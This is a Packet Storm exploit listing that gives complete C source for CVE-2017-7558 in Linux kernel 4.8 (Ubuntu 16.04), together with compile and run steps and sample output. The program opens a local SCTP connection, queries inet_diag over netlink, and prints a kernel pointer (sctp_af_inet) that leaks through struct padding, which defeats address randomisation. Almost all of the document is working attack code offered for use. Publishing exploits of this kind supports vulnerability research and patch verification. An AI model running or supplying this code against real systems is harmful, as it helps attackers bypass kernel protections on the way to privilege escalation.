Linux Kernel 4.8 (Ubuntu 16.04) sctp Kernel Pointer Leak

2018-12-01T00:00:00
ID PACKETSTORM:150552
Type packetstorm
Reporter Jinbum Park
Modified 2018-12-01T00:00:00

Description

                                        
                                            `# Exploit Title: Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp kernel pointer  
# Google Dork: -  
# Date: 2018-11-20  
# Exploit Author: Jinbum Park  
# Vendor Homepage: -  
# Software Link: -  
# Version: Linux Kernel 4.8 (Ubuntu 16.04)  
# Tested on: 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux  
# CVE: 2017-7558  
# Category: Local  
  
/*  
* [ Briefs ]   
* - CVE-2017-7558 has discovered and reported by Stefano Brivio of the Red Hat. (but, no publicly available exploit)  
* - This is local exploit against the CVE-2017-7558.  
*  
* [ Tested version ]  
* - 4.8.0-36-generic #36~16.04.1-Ubuntu SMP Sun Feb 5 09:39:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux  
*  
* [ Prerequisites ]  
* - sudo apt-get install libsctp-dev  
*  
* [ Goal ]  
* - Leak kernel symbol address of "sctp_af_inet"  
*  
* [ Run exploit ]  
* - $ gcc poc.c -o poc -lsctp -lpthread  
* - $ ./poc  
* [] Waiting for connection  
* [] New client connected  
* [] Received data: Hello, Server!  
* [] sctp_af_inet address : 0  
* [] sctp_af_inet address : ffffffffc0c541e0  
* [] sctp_af_inet address : 0  
* [] sctp_af_inet address : ffffffffc0c541e0 (leaked kernel pointer)  
* - $ sudo cat /proc/kallsyms | grep sctp_af_inet (Check whether leaked pointer value is corret)  
* ffffffffc0c541e0 d sctp_af_inet [sctp]  
*  
* [ Contact ]  
* - jinb.park7@gmail.com  
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <stdint.h>  
#include <unistd.h>  
#include <asm/types.h>  
#include <sys/socket.h>  
#include <linux/netlink.h>  
#include <linux/rtnetlink.h>  
#include <netinet/in.h>  
#include <linux/tcp.h>  
#include <linux/sock_diag.h>  
#include <linux/inet_diag.h>  
#include <netinet/sctp.h>  
#include <arpa/inet.h>  
#include <pwd.h>  
#include <pthread.h>  
#include <errno.h>  
  
#define MY_PORT_NUM 62324  
  
struct sctp_info {  
__u32 sctpi_tag;  
__u32 sctpi_state;  
__u32 sctpi_rwnd;  
__u16 sctpi_unackdata;  
__u16 sctpi_penddata;  
__u16 sctpi_instrms;  
__u16 sctpi_outstrms;  
__u32 sctpi_fragmentation_point;  
__u32 sctpi_inqueue;  
__u32 sctpi_outqueue;  
__u32 sctpi_overall_error;  
__u32 sctpi_max_burst;  
__u32 sctpi_maxseg;  
__u32 sctpi_peer_rwnd;  
__u32 sctpi_peer_tag;  
__u8 sctpi_peer_capable;  
__u8 sctpi_peer_sack;  
__u16 __reserved1;  
  
/* assoc status info */  
__u64 sctpi_isacks;  
__u64 sctpi_osacks;  
__u64 sctpi_opackets;  
__u64 sctpi_ipackets;  
__u64 sctpi_rtxchunks;  
__u64 sctpi_outofseqtsns;  
__u64 sctpi_idupchunks;  
__u64 sctpi_gapcnt;  
__u64 sctpi_ouodchunks;  
__u64 sctpi_iuodchunks;  
__u64 sctpi_oodchunks;  
__u64 sctpi_iodchunks;  
__u64 sctpi_octrlchunks;  
__u64 sctpi_ictrlchunks;  
  
/* primary transport info */  
struct sockaddr_storage sctpi_p_address;  
__s32 sctpi_p_state;  
__u32 sctpi_p_cwnd;  
__u32 sctpi_p_srtt;  
__u32 sctpi_p_rto;  
__u32 sctpi_p_hbinterval;  
__u32 sctpi_p_pathmaxrxt;  
__u32 sctpi_p_sackdelay;  
__u32 sctpi_p_sackfreq;  
__u32 sctpi_p_ssthresh;  
__u32 sctpi_p_partial_bytes_acked;  
__u32 sctpi_p_flight_size;  
__u16 sctpi_p_error;  
__u16 __reserved2;  
  
/* sctp sock info */  
__u32 sctpi_s_autoclose;  
__u32 sctpi_s_adaptation_ind;  
__u32 sctpi_s_pd_point;  
__u8 sctpi_s_nodelay;  
__u8 sctpi_s_disable_fragments;  
__u8 sctpi_s_v4mapped;  
__u8 sctpi_s_frag_interleave;  
__u32 sctpi_s_type;  
__u32 __reserved3;  
};  
  
enum {  
SS_UNKNOWN,  
SS_ESTABLISHED,  
SS_SYN_SENT,  
SS_SYN_RECV,  
SS_FIN_WAIT1,  
SS_FIN_WAIT2,  
SS_TIME_WAIT,  
SS_CLOSE,  
SS_CLOSE_WAIT,  
SS_LAST_ACK,  
SS_LISTEN,  
SS_CLOSING,  
SS_MAX  
};  
  
enum sctp_state {  
SCTP_STATE_CLOSED = 0,  
SCTP_STATE_COOKIE_WAIT = 1,  
SCTP_STATE_COOKIE_ECHOED = 2,  
SCTP_STATE_ESTABLISHED = 3,  
SCTP_STATE_SHUTDOWN_PENDING = 4,  
SCTP_STATE_SHUTDOWN_SENT = 5,  
SCTP_STATE_SHUTDOWN_RECEIVED = 6,  
SCTP_STATE_SHUTDOWN_ACK_SENT = 7,  
};  
  
enum {  
TCP_ESTABLISHED = 1,  
TCP_SYN_SENT,  
TCP_SYN_RECV,  
TCP_FIN_WAIT1,  
TCP_FIN_WAIT2,  
TCP_TIME_WAIT,  
TCP_CLOSE,  
TCP_CLOSE_WAIT,  
TCP_LAST_ACK,  
TCP_LISTEN,  
TCP_CLOSING, /* Now a valid state */  
TCP_NEW_SYN_RECV,  
  
TCP_MAX_STATES /* Leave at the end! */  
};  
  
enum sctp_sock_state {  
SCTP_SS_CLOSED = TCP_CLOSE,  
SCTP_SS_LISTENING = TCP_LISTEN,  
SCTP_SS_ESTABLISHING = TCP_SYN_SENT,  
SCTP_SS_ESTABLISHED = TCP_ESTABLISHED,  
SCTP_SS_CLOSING = TCP_CLOSE_WAIT,  
};  
  
static volatile int servser_stop_flag = 0;  
static volatile int client_stop_flag = 0;  
  
static void *server_thread(void *arg) {  
int listen_fd, conn_fd, flags, ret, in;  
char buffer[1024];  
struct sctp_sndrcvinfo sndrcvinfo;  
struct sockaddr_in servaddr = {  
.sin_family = AF_INET,  
.sin_addr.s_addr = htonl(INADDR_ANY),  
.sin_port = htons(MY_PORT_NUM),  
};  
struct sctp_initmsg initmsg = {  
.sinit_num_ostreams = 5,  
.sinit_max_instreams = 5,  
.sinit_max_attempts = 4,  
};  
  
listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);  
if (listen_fd < 0)  
return NULL;  
  
ret = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));  
if (ret < 0)  
return NULL;  
  
ret = setsockopt(listen_fd, IPPROTO_SCTP, SCTP_INITMSG, &initmsg, sizeof(initmsg));  
if (ret < 0)  
return NULL;  
  
ret = listen(listen_fd, initmsg.sinit_max_instreams);  
if (ret < 0)  
return NULL;  
  
printf("[] Waiting for connection\n");  
  
conn_fd = accept(listen_fd, (struct sockaddr *) NULL, NULL);  
if(conn_fd < 0)  
return NULL;  
  
printf("[] New client connected\n");  
  
in = sctp_recvmsg(conn_fd, buffer, sizeof(buffer), NULL, 0, &sndrcvinfo, &flags);  
if (in > 0) {  
printf("[] Received data: %s\n", buffer);  
}  
  
while (servser_stop_flag == 0)  
sleep(1);  
  
close(conn_fd);  
return NULL;  
}  
  
static void *client_thread(void *arg) {  
int conn_fd, ret;  
const char *msg = "Hello, Server!";  
struct sockaddr_in servaddr = {  
.sin_family = AF_INET,  
.sin_port = htons(MY_PORT_NUM),  
.sin_addr.s_addr = inet_addr("127.0.0.1"),  
};  
  
conn_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);  
if (conn_fd < 0)  
return NULL;  
  
ret = connect(conn_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));  
if (ret < 0)  
return NULL;  
  
ret = sctp_sendmsg(conn_fd, (void *) msg, strlen(msg) + 1, NULL, 0, 0, 0, 0, 0, 0 );  
if (ret < 0)  
return NULL;  
  
while (client_stop_flag == 0)  
sleep(1);  
  
close(conn_fd);  
return NULL;  
}  
  
//Copied from libmnl source  
#define SOCKET_BUFFER_SIZE (getpagesize() < 8192L ? getpagesize() : 8192L)  
  
int send_diag_msg(int sockfd){  
struct msghdr msg;  
struct nlmsghdr nlh;  
struct inet_diag_req_v2 conn_req;  
struct sockaddr_nl sa;  
struct iovec iov[4];  
int retval = 0;  
  
//For the filter  
struct rtattr rta;  
void *filter_mem = NULL;  
int filter_len = 0;  
  
memset(&msg, 0, sizeof(msg));  
memset(&sa, 0, sizeof(sa));  
memset(&nlh, 0, sizeof(nlh));  
memset(&conn_req, 0, sizeof(conn_req));  
  
sa.nl_family = AF_NETLINK;  
  
conn_req.sdiag_family = AF_INET;  
conn_req.sdiag_protocol = IPPROTO_SCTP;  
conn_req.idiag_states = SCTP_SS_CLOSED;  
conn_req.idiag_ext |= (1 << (INET_DIAG_INFO - 1));  
  
nlh.nlmsg_len = NLMSG_LENGTH(sizeof(conn_req));  
nlh.nlmsg_flags = NLM_F_DUMP | NLM_F_REQUEST;  
  
nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;  
iov[0].iov_base = (void*) &nlh;  
iov[0].iov_len = sizeof(nlh);  
iov[1].iov_base = (void*) &conn_req;  
iov[1].iov_len = sizeof(conn_req);  
  
//Set essage correctly  
msg.msg_name = (void*) &sa;  
msg.msg_namelen = sizeof(sa);  
msg.msg_iov = iov;  
if(filter_mem == NULL)  
msg.msg_iovlen = 2;  
else  
msg.msg_iovlen = 4;  
  
retval = sendmsg(sockfd, &msg, 0);  
  
if(filter_mem != NULL)  
free(filter_mem);  
  
return retval;  
}  
  
void parse_diag_msg(struct inet_diag_msg *diag_msg, int rtalen){  
struct rtattr *attr;  
struct sctp_info *sctpi;  
int i;  
unsigned char *ptr;  
  
if(diag_msg->idiag_family != AF_INET && diag_msg->idiag_family != AF_INET6) {  
fprintf(stderr, "Unknown family\n");  
return;  
}  
  
if(rtalen > 0){  
attr = (struct rtattr*) (diag_msg+1);  
  
while(RTA_OK(attr, rtalen)){  
if(attr->rta_type == INET_DIAG_INFO){  
// leak kernel pointer here!!  
sctpi = (struct sctp_info*) RTA_DATA(attr);  
ptr = ((unsigned char *)&sctpi->sctpi_p_address + 32);  
printf("[] sctp_af_inet address : %lx\n", *(unsigned long *)ptr);  
}  
attr = RTA_NEXT(attr, rtalen);  
}  
}  
}  
  
int main(int argc, char *argv[]){  
int nl_sock = 0, numbytes = 0, rtalen = 0;  
struct nlmsghdr *nlh;  
uint8_t recv_buf[SOCKET_BUFFER_SIZE];  
struct inet_diag_msg *diag_msg;  
pthread_t sctp_server;  
pthread_t sctp_client;  
  
// run sctp server & client  
if (pthread_create(&sctp_server, NULL, server_thread, NULL))  
return EXIT_FAILURE;  
sleep(2);  
  
if (pthread_create(&sctp_client, NULL, client_thread, NULL))  
return EXIT_FAILURE;  
sleep(2);  
  
// run inet_diag  
if((nl_sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_INET_DIAG)) == -1){  
perror("socket: ");  
return EXIT_FAILURE;  
}  
  
if(send_diag_msg(nl_sock) < 0){  
perror("sendmsg: ");  
return EXIT_FAILURE;  
}  
  
while(1){  
numbytes = recv(nl_sock, recv_buf, sizeof(recv_buf), 0);  
nlh = (struct nlmsghdr*) recv_buf;  
  
while(NLMSG_OK(nlh, numbytes)){  
if(nlh->nlmsg_type == NLMSG_DONE) {  
return EXIT_SUCCESS;  
}  
  
if(nlh->nlmsg_type == NLMSG_ERROR){  
fprintf(stderr, "Error in netlink message\n");  
return EXIT_FAILURE;  
}  
  
diag_msg = (struct inet_diag_msg*) NLMSG_DATA(nlh);  
rtalen = nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*diag_msg));  
parse_diag_msg(diag_msg, rtalen);  
  
nlh = NLMSG_NEXT(nlh, numbytes);   
}  
}  
printf("loop next\n");  
  
// exit threads  
client_stop_flag = 1;  
if (pthread_join(sctp_client, NULL))  
return EXIT_FAILURE;  
  
servser_stop_flag = 1;  
if (pthread_join(sctp_server, NULL))  
return EXIT_FAILURE;  
  
printf("end\n");  
return EXIT_SUCCESS;  
}  
  
  
`